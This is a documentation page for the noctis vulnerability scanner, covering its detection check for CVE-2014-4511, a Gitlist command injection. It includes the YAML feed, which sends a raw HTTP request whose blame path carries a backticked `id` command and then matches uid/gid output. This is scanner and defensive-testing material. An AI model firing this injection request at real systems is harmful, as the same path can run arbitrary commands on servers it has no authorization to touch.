Gitlist — 1 vulnerability check

noctis ships 1 vulnerability check for Gitlist, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Gitlist blame path command injection

CVECVE-2014-4511
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 97
Feedtests/vulnerabilities/gitlist/CVE-2014-4511.yaml

Finds a repository on the Gitlist home page, requests its blame view with a backticked `id` in the file path and reports when the response contains the uid/gid output of the command.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Checks gate.banner for class="icon-folder-open icon-spaced"></i> <a href="([^"]+)">
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{repo}}blame/master/""</%60id%60 HTTP/1.0
  5. Checks resp.banner for uid=[0-9]+.*gid=[0-9]+ → finding QoD 97: Gitlist blame path ran the injected `id` command (uid/gid in the response): …

References:

Feed source — tests/vulnerabilities/gitlist/CVE-2014-4511.yaml
uid: f4676a7d-3a21-4d93-b2cb-ae0e2d65d77d
name: "Gitlist blame path command injection (CVE-2014-4511)"
description: "Finds a repository on the Gitlist home page, requests its blame view with a backticked `id` in the file path and reports when the response contains the uid/gid output of the command."
cves: [CVE-2014-4511]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.3
tags: [openvas-migrated, http, gitlist]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-4511"
  - "OpenVAS NASL 2014/gb_gitlist_rce_06_14.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2014/gb_gitlist_rce_06_14.nasl (GPL-2.0-only).
steps:
  - id: seed
    action: set_var
    var_name: product
    var_value: false
  - id: gate_probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: gate
  # Extract the first repository href from the GitList index (the NASL's
  # eregmatch) so the exploit targets a real repo, not a hard-coded name.
  - id: repo_match
    action: match
    source: gate.banner
    pattern: 'class="icon-folder-open icon-spaced"></i> <a href="([^"]+)">'
    store_as: repom
    on_match:
      set_vars:
        product: true
  - id: repo_store
    action: script
    code: 'repom["captures"][0]'
    store_as: repo
    condition: "product"
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{repo}}blame/master/\"\"</%60id%60 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp
    condition: "product"

  - id: detect
    action: match
    source: resp.banner
    pattern: "uid=[0-9]+.*gid=[0-9]+"
    condition: "product"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "Gitlist blame path ran the injected `id` command (uid/gid in the response): {{resp.banner}}"
      stop: true

View these feeds on GitHub